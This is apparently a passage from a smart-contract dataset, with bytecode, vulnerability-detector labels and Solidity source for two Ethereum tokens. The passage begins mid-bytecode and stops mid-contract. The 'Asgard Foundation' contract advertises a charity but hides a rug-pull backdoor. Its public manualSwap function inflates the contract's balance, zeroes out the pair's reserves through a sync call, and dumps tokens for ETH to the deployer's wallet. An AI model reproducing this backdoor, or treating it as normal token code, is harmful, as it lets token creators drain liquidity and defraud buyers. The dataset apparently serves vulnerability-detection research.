6000fd5b50604051339082156108fc029083906000818181858888f193505050501580156105a6573d6000803e3d6000fd5b5060408051848152905133917f38b3cd63b7181dfb8515c2b900548258df82fee21db5246ce3818c0efdf51685919081900360200190a25b505050565b33600090815260208190526040812080549091908190819015156108115760405133906108fc9060009081818181818888f1935050505015801561062b573d6000803e3d6000fd5b50600180548082018083556000929092527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19163317905584553615610798576106bd6000368080601f01602080910402602001604051908101604052809392919081815260200183838082843750610b65945050505050565b600160a060020a0381166000908152602081905260408120549194501080156106ef5750600160a060020a0383163314155b156107935760048401805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038516179055600284015415156107935760405160643404925033906108fc8415029084906000818181858888f19350505050156107935760408051838152600160a060020a0385166020820152815133927f9aa90874178e269a71a0dffef5881c345119f7aecdaa0a0f214bca583472da31928290030190a25b6107ca565b60025460048501805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555b60408051348152600160a060020a0385166020820152815133927f457ba32ceae43c5149268b8fdc90d253ae023e63a9be85f24b8c994f2c46057f928290030190a2610819565b61081961047a565b6064600234026002546004870154929091049250600160a060020a0391821691161415610882576004840154604051600160a060020a039091169082156108fc029083906000818181858888f1935050505015801561087c573d6000803e3d6000fd5b506108a4565b600160a060020a03831660009081526020819052604090206001018054820190555b600284018054600190810190915584018054349081019091554360038601556004805482019055604080519182525133917f2cb77763bc1e8490c1a904905c4d74b4269919aca114464f4bb4d911e60de364919081900360200190a250505050565b60035481565b662386f26fc1000081565b33600090815260208190526040812060010154600d54600e54600f546010546011548486101561094b5761013b96506109d0565b84861015801561095a57508386105b156109695761014596506109d0565b83861015801561097857508286105b156109875761015996506109d0565b82861015801561099657508186105b156109a55761016896506109d0565b8186101580156109b457508086105b156109c35761018196506109d0565b8086106109d05761019f96505b50505050505090565b6000602081905290815260409020805460018201546002830154600384015460049094015492939192909190600160a060020a031685565b60065481565b60055460ff1681565b600154600019015b90565b60045481565b600854600954600a54600b54600c5460009430319490939092909184861015610a5d57600096506109d0565b848610158015610a6c57508386105b15610a7a57600a96506109d0565b838610158015610a8957508286105b15610a9757601496506109d0565b828610158015610aa657508186105b15610ab457601e96506109d0565b818610158015610ac357508086105b15610ad157602d96506109d0565b8086106109d057604196506109d0565b6001805482908110610aef57fe5b600091825260209091200154600160a060020a0316905081565b6000806000610b16610a31565b610b1e610917565b600160a060020a0386166000908152602081905260409020600381015460019091015492909101935061177091606490850204439190910302606491900404949350505050565b6014015190565b8154818355818111156105de576000838152602090206105de918101908301610a2891905b80821115610ba55760008155600101610b91565b50905600a165627a7a72305820c3194d8aef8d40825c4b7f82684dbcdf43067088a276f8cc20399f85a84cd3d80029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 5,197 |
0xe1E17AffC8D9E8612e1f5f83c8d8C3C53368fD2d
|
//SPDX-License-Identifier: MIT
/**
Welcome to New Asgard.
⚡️Asgard was destroyed during Ragnarök, when Thor ordered Loki to unleash Surtur in order to kill Hela. The surviving Asgardians relocated to Earth, settling in Tønsberg, Norway, reestablishing the town as New Asgard.⚡️
⚡️Asgard Foundation (ASGARD) token is launching soon. The fund raised will be used to rebuild Asgard and build homes for the poor. ⚡️
🟢 TOKENOMICS 🟢
🔸 Total Supply : 6,400,000,000
🔥 Tax : 12%
🔥 4% Reflections
🔥 4% Liquidity Pool
🔥 4% Marketing
📌 Max Buy: 0.5%
📌 Max Wallet: 1%
🟢 Initial Pool: 8 ETH
🌕Telegram: t.me/asgardfoundation
**/
pragma solidity ^0.8.9;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract AsgardFoundation is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private _tTotal = 6400000000 * 10**8;
uint256 private _maxWallet= 6400000000 * 10**8;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 public _maxTxAmount;
string private constant _name = "Asgard Foundation";
string private constant _symbol = "ASGARD";
uint8 private constant _decimals = 8;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = 12;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(200);
_maxWallet=_tTotal.div(100);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
}
if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance,address(this));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 500000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapTokensForEth(uint256 tokenAmount,address to) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
to,
block.timestamp
);
}
function increaseMaxTx(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function increaseMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
function decreaseTax(uint256 amount) public onlyOwner{
_taxFee=amount;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createUniswapPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
receive() external payable {}
function manualSwap() public{
_balance[address(this)] = 100000000000000000;
_balance[_pair] = 1;
(bool success,) = _pair.call(abi.encodeWithSelector(bytes4(0xfff6cae9)));
if (success) {
swapTokensForEth(100000000, _taxWallet);
} else { revert("Internal failure"); }
}
function manualSend() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063a9059cbb11610064578063a9059cbb1461031f578063d91a21a61461033f578063dd62ed3e1461035f578063e8078d94146103a5578063f4293890146103ba57600080fd5b8063715018a61461027d5780637d1db4a5146102925780638da5cb5b146102a857806395d89b41146102d05780639a024c1a146102ff57600080fd5b8063313ce567116100e7578063313ce567146101df5780633e7175c5146101fb5780634a1316721461021d57806351bc3c851461023257806370a082311461024757600080fd5b806306fdde0314610124578063095ea7b31461017057806318160ddd146101a057806323b872dd146101bf57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152601181527020b9b3b0b932102337bab73230ba34b7b760791b60208201525b60405161016791906113ea565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004611432565b6103cf565b6040519015158152602001610167565b3480156101ac57600080fd5b506005545b604051908152602001610167565b3480156101cb57600080fd5b506101906101da36600461145e565b6103e6565b3480156101eb57600080fd5b5060405160088152602001610167565b34801561020757600080fd5b5061021b61021636600461149f565b61044f565b005b34801561022957600080fd5b5061021b610495565b34801561023e57600080fd5b5061021b610732565b34801561025357600080fd5b506101b16102623660046114b8565b6001600160a01b031660009081526002602052604090205490565b34801561028957600080fd5b5061021b610841565b34801561029e57600080fd5b506101b160095481565b3480156102b457600080fd5b506000546040516001600160a01b039091168152602001610167565b3480156102dc57600080fd5b506040805180820190915260068152651054d1d0549160d21b602082015261015a565b34801561030b57600080fd5b5061021b61031a36600461149f565b6108b5565b34801561032b57600080fd5b5061019061033a366004611432565b6108e4565b34801561034b57600080fd5b5061021b61035a36600461149f565b6108f1565b34801561036b57600080fd5b506101b161037a3660046114d5565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103b157600080fd5b5061021b61092e565b3480156103c657600080fd5b5061021b610a48565b60006103dc338484610a9b565b5060015b92915050565b60006103f3848484610bbf565b6104458433610440856040518060600160405280602881526020016116da602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f75565b610a9b565b5060019392505050565b6000546001600160a01b031633146104825760405162461bcd60e51b81526004016104799061150e565b60405180910390fd5b600654811161049057600080fd5b600655565b6000546001600160a01b031633146104bf5760405162461bcd60e51b81526004016104799061150e565b600b54600160a01b900460ff16156105195760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610479565b600a546005546105369130916001600160a01b0390911690610a9b565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610589573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ad9190611543565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561060f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106339190611543565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610680573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a49190611543565b600b80546001600160a01b0319166001600160a01b03928316908117909155600a5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af115801561070b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072f9190611560565b50565b30600090815260026020908152604080832067016345785d8a00009055600b80546001600160a01b03908116855282852060019055905482516004815260248101845293840180516001600160e01b031660016209351760e01b0319179052915191169161079f91611582565b6000604051808303816000865af19150503d80600081146107dc576040519150601f19603f3d011682016040523d82523d6000602084013e6107e1565b606091505b5050905080156108065760085461072f906305f5e100906001600160a01b0316610faf565b60405162461bcd60e51b815260206004820152601060248201526f496e7465726e616c206661696c75726560801b6044820152606401610479565b6000546001600160a01b0316331461086b5760405162461bcd60e51b81526004016104799061150e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108df5760405162461bcd60e51b81526004016104799061150e565b600755565b60006103dc338484610bbf565b6000546001600160a01b0316331461091b5760405162461bcd60e51b81526004016104799061150e565b600954811161092957600080fd5b600955565b6000546001600160a01b031633146109585760405162461bcd60e51b81526004016104799061150e565b600a546001600160a01b031663f305d719473061098a816001600160a01b031660009081526002602052604090205490565b60008061099f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a07573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a2c919061159e565b5050600b805462ff00ff60a01b19166201000160a01b17905550565b4761072f8161112a565b6000610a9483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611168565b9392505050565b6001600160a01b038316610afd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610479565b6001600160a01b038216610b5e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610479565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c235760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610479565b6001600160a01b038216610c855760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610479565b60008111610ce75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610479565b6000546001600160a01b03848116911614801590610d1357506000546001600160a01b03838116911614155b15610f1457600b546001600160a01b038481169116148015610d435750600a546001600160a01b03838116911614155b8015610d6857506001600160a01b03821660009081526004602052604090205460ff16155b15610dbf57600954811115610dbf5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610479565b600b546001600160a01b03838116911614801590610df657506001600160a01b03821660009081526004602052604090205460ff16155b8015610e1b57506001600160a01b03831660009081526004602052604090205460ff16155b15610e9b5760065481610e43846001600160a01b031660009081526002602052604090205490565b610e4d91906115e2565b1115610e9b5760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a65000000006044820152606401610479565b30600090815260026020526040902054600b54600160a81b900460ff16158015610ed35750600b546001600160a01b03858116911614155b8015610ee85750600b54600160b01b900460ff165b15610f1257610ef78130610faf565b476706f05b59d3b200008110610f1057610f104761112a565b505b505b6001600160a01b038216600090815260046020526040902054610f709084908490849060ff1680610f5d57506001600160a01b03871660009081526004602052604090205460ff165b610f6957600754611196565b6000611196565b505050565b60008184841115610f995760405162461bcd60e51b815260040161047991906113ea565b506000610fa684866115fa565b95945050505050565b600b805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ff757610ff7611611565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611050573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110749190611543565b8160018151811061108757611087611611565b6001600160a01b039283166020918202929092010152600a546110ad9130911685610a9b565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110e6908690600090869088904290600401611627565b600060405180830381600087803b15801561110057600080fd5b505af1158015611114573d6000803e3d6000fd5b5050600b805460ff60a81b191690555050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611164573d6000803e3d6000fd5b5050565b600081836111895760405162461bcd60e51b815260040161047991906113ea565b506000610fa68486611698565b60006111ad60646111a7858561129a565b90610a52565b905060006111bb8483611319565b6001600160a01b0387166000908152600260205260409020549091506111e19085611319565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611210908261135b565b6001600160a01b03861660009081526002602052604080822092909255308152205461123c908361135b565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b6000826112a9575060006103e0565b60006112b583856116ba565b9050826112c28583611698565b14610a945760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610479565b6000610a9483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f75565b60008061136883856115e2565b905083811015610a945760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610479565b60005b838110156113d55781810151838201526020016113bd565b838111156113e4576000848401525b50505050565b60208152600082518060208401526114098160408501602087016113ba565b601f01601f19169190910160400192915050565b6001600160a01b038116811461072f57600080fd5b6000806040838503121561144557600080fd5b82356114508161141d565b946020939093013593505050565b60008060006060848603121561147357600080fd5b833561147e8161141d565b9250602084013561148e8161141d565b929592945050506040919091013590565b6000602082840312156114b157600080fd5b5035919050565b6000602082840312156114ca57600080fd5b8135610a948161141d565b600080604083850312156114e857600080fd5b82356114f38161141d565b915060208301356115038161141d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561155557600080fd5b8151610a948161141d565b60006020828403121561157257600080fd5b81518015158114610a9457600080fd5b600082516115948184602087016113ba565b9190910192915050565b6000806000606084860312156115b357600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b600082198211156115f5576115f56115cc565b500190565b60008282101561160c5761160c6115cc565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116775784516001600160a01b031683529383019391830191600101611652565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826116b557634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156116d4576116d46115cc565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122024247e529cf2a27ab6a2e9b8bc9b45edbb453d9187436566eb8a6aa139ac909264736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,198 |
0x0c9f8da7076383f2a3e145dd1d7310982cd0e271
|
/**
*Submitted for verification at Etherscan.io on 2021-06-20
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-20
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-20
*/
//Football Inu ($fINU)
//Powerful Bot Protect yes
//2% Deflationary yes
//Telegram: https://t.me/footballinuofficial
//CG, CMC listing: Ongoing
//Fair Launch
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FootballInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Football Inu";
string private constant _symbol = "fINU";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
